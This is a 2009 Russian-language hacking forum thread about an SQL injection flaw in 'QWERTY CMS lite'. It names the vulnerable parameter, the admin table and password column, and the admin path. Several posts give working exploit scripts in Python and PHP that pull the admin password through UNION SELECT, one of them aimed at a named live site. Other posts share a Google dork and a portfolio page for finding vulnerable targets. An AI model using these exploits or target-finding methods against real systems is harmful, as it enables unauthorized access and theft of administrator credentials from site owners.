QWERTY CMS lite - SQL INJ

Discussion in 'Веб-уязвимости' started by b3, 18 Feb 2009.

  1. b3

    b3 Banned

    Joined:
    5 Dec 2004
    Messages:
    2,170
    Likes Received:
    1,155
    Reputations:
    202
    [​IMG]

    Нашел уязвимость SQL INJ в одной малоизвестной QWERTY CMS lite. В гугле даже несмог найти авторов сего творения.
    Уязвимость в файле index.php, уязвимый параметр id:
    Таблица администратора:rkh8t5po
    клонки:
    secret873ktlW
    pass459khyf

    Пароль от админки находится в колонке pass459khyf Логин: admin
    Путь к Админке:
    /admin/
    http://www.milw0rm.com/exploits/8104
     
    #1 b3, 18 Feb 2009
    Last edited: 25 Feb 2009
    3 people like this.
  2. Assembler

    Assembler Elder - Старейшина

    Joined:
    1 Sep 2007
    Messages:
    173
    Likes Received:
    102
    Reputations:
    23
    http://www.google.ru/search?q=allinurl%3A+php%3Fact%3Dpubl%26id%3D&ie=utf-8&oe=utf-8&aq=t&rls=org.mozilla:ru:eek:fficial&client=firefox-a

    Да уж -) совсем мало популярная..
     
  3. yarbabin

    yarbabin HACKIN YO KUT

    Joined:
    21 Nov 2007
    Messages:
    1,663
    Likes Received:
    916
    Reputations:
    363
    qwerty cms expl01t

    Code:
    #!/usr/bin/python
    #QWERTY CMS expl01t
    #http://sql.parsers.info
    #faza02[at]gmail[dot]com
    #thx login999
    
    import urllib
    import re
    print "qwerty cms expl01t by faza02\n\nexample: site.com"
    site=raw_input(u'site: ')
    site1='http://' + site + '/index.php?act=publ&id=38+and+0+UNION+SELECT+1,unhex(hex(pass459khyf)),3,4,5+from+rkh8t5po'
    
    pars=str(urllib.urlopen(site1).read())
    title=re.findall(r'\<title\>.*?\<\/title\>',pars)
    per=str(title)[2:-2]
    per=per.replace('<title>','')
    per=per.replace('</title>','')
    print 'login: admin' 
    print 'passw0rd: ' + per
    (с) faza02
     
    _________________________
    #3 yarbabin, 24 Feb 2009
    Last edited: 24 Feb 2009
    3 people like this.
  4. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    QWERTY CMS lite PHP Injector by mailbrush

    QWERTY CMS lite PHP Injector by mailbrush
    PHP:
    <?
    $site="http://dr-gng.dp.ua"//сайт для инжекта
    function db($url){
        
    $url=$url."/index.php?act=publ&id=-9+union+select+1,concat_ws(0x3a,user(),database(),version()),3,4,5";
        
    $fp=file_get_contents($url);
        list(
    $ds,$f)=explode('<title>',$fp);
        list(
    $ds,$f)=explode('</title>',$f);
        return 
    $ds;
    }

    function 
    user($url){
        
    $url=$url."/index.php?act=publ&id=-9+union+select+1,concat(0x61646d696e3a,pass459khyf),3,4,5+from+rkh8t5po";
        
    $fp=file_get_contents($url);
        list(
    $ds,$f)=explode('<title>',$fp);
        list(
    $ds,$f)=explode('</title>',$f);
        return 
    $ds;
    }

    echo 
    "<b>user():database():version() - </b>".db($site)."<br>";
    echo 
    "<b>admin:pass - </b>".user($site)."<br>";
    ?>
     
    1 person likes this.
  5. login999

    login999 Elder - Старейшина

    Joined:
    12 Jun 2008
    Messages:
    491
    Likes Received:
    280
    Reputations:
    92
    Это ж все зависит от того, как писать, можно то его и на socket написать :), а толку ? Python славится невьебённым количеством модулей, можешь взглянуть здесь :
    http://docs.python.org/modindex.html , этот код можно было написать на как минимум трех модулях, причем аобсолютно без проблем :)
    P.S.
    Переделал код в духе минимализма :) :
    Code:
    #!/usr/bin/python
    #QWERTY CMS expl01t
    #http://sql.parsers.info
    #faza02[at]gmail[dot]com
    #thx login999
    import urllib, re
    print "qwerty cms expl01t by faza02\n\nexample: site.com"
    print 'login: admin & passw0rd: ' + str(re.findall(r'\<title\>.*?\<\/title\>',str(urllib.urlopen("http://" + raw_input(u'site: ') + "/index.php?act=publ&id=38+and+0+UNION+SELECT+1,unhex(hex(pass459khyf)),3,4,5+from+rkh8t5po").read())))[2:-2].replace("<title>",'').replace("</title>",'')
    
    Из 8 строчек кода 4 строчки - цоперайты :)
    P.S. Ачат "обезвреживает" спец символы, поэтому в сплоенте после (pass459khyf)) не должно быть 2 пробела, снесите их нафик :)
     
    #5 login999, 25 Feb 2009
    Last edited: 25 Feb 2009
    2 people like this.
  6. Glazz

    Glazz Elder - Старейшина

    Joined:
    9 Aug 2008
    Messages:
    116
    Likes Received:
    7
    Reputations:
    0
    Портфолио их групы , там адресочки можно взять, но спосов Assembler то же норм.
    http://web-sites.kiev.ua/portfolio.php

    А там реально ип админку отправляется при не праивльном заходе в админку?
     
    #6 Glazz, 25 Feb 2009
    Last edited: 25 Feb 2009